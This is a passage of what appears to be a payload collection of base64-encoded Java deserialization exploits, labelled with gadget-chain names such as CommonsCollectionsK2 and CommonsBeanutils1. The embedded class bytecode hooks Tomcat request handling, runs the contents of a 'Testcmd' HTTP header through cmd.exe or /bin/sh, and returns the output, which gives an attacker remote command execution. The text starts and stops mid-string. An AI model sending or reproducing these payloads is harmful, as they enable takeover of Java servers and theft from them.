WN0SGptdmEHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb1dFY3RIam12YS5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YAL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",
                    "CommonsCollectionsK2":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAhJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhaABVfdXNlU2VydmljZXNNZWNoYW5pc21MAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAB/////wFwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vZ2RMUVpRbjZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29nZExRWlFuNmUuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEAEWphdmEvdXRpbC9TY2FubmVyBwC4AQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwC6AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwAIwC8CgC7AL0BAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAvwDACgC7AMEBABFqYXZhL2xhbmcvUHJvY2VzcwcAwwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAMUAxgoAxADHAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAjAMkKALkAygEAAlxBCADMAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7DADOAM8KALkA0AEABG5leHQMANIAcQoAuQDTAQAIZ2V0Qnl0ZXMBAAQoKVtCDADVANYKAFwA1wwABwAICgACANkBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7DADbANwKAKYA3QEAE2phdmEvdXRpbC9IYXNodGFibGUHAN8BAAh0b1N0cmluZwwA4QBxCgDgAOIBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcA5goA5wBeACEAAgDnAAAAAAADAAoABwAIAAIAPAAAANwACAAFAAAAsRIKuAAQTi22ABRNLRIWBr0ADFkDEhhTWQSyAB5TWQWyAB5TtgAiLAa9AARZAytTWQS7ABpZA7cAJlNZBbsAGlkrvrcAJlO2ACxXKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwBIOgQSObgAEE4tEjsEvQAMWQMSGFO2ACItBL0ABFkDK1O2ACxNKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwADsQABAAAAaABrADcAAQBAAAAAEQAC9wBrBwA3/QBEBwAEBwAMAD0AAAAEAAEAPwAKAEEAQgACADwAAAB+AAMABQAAAD8BTSq2ADBOpwAZLSu2AEZNpwAWpwAAOgQttgBLTqcAAy0SBKb/5ywBpgAMuwBIWSu3AE6/LAS2AFQsKrYAWrAAAQAKABMAFgBIAAEAQAAAACUABv0ACgcAVgcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZwdAADYWJjc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3EAfgALeHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAIdwgAAAALAAAAAHhwdwEAeHNyACtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0Lm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAtTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9uczQvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AApbAAtpUGFyYW1UeXBlc3EAfgAJeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQAAXR4",
                    "CommonsBeanutils1":"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vRERsMlpGZjhZBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29ERGwyWkZmOFkuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEA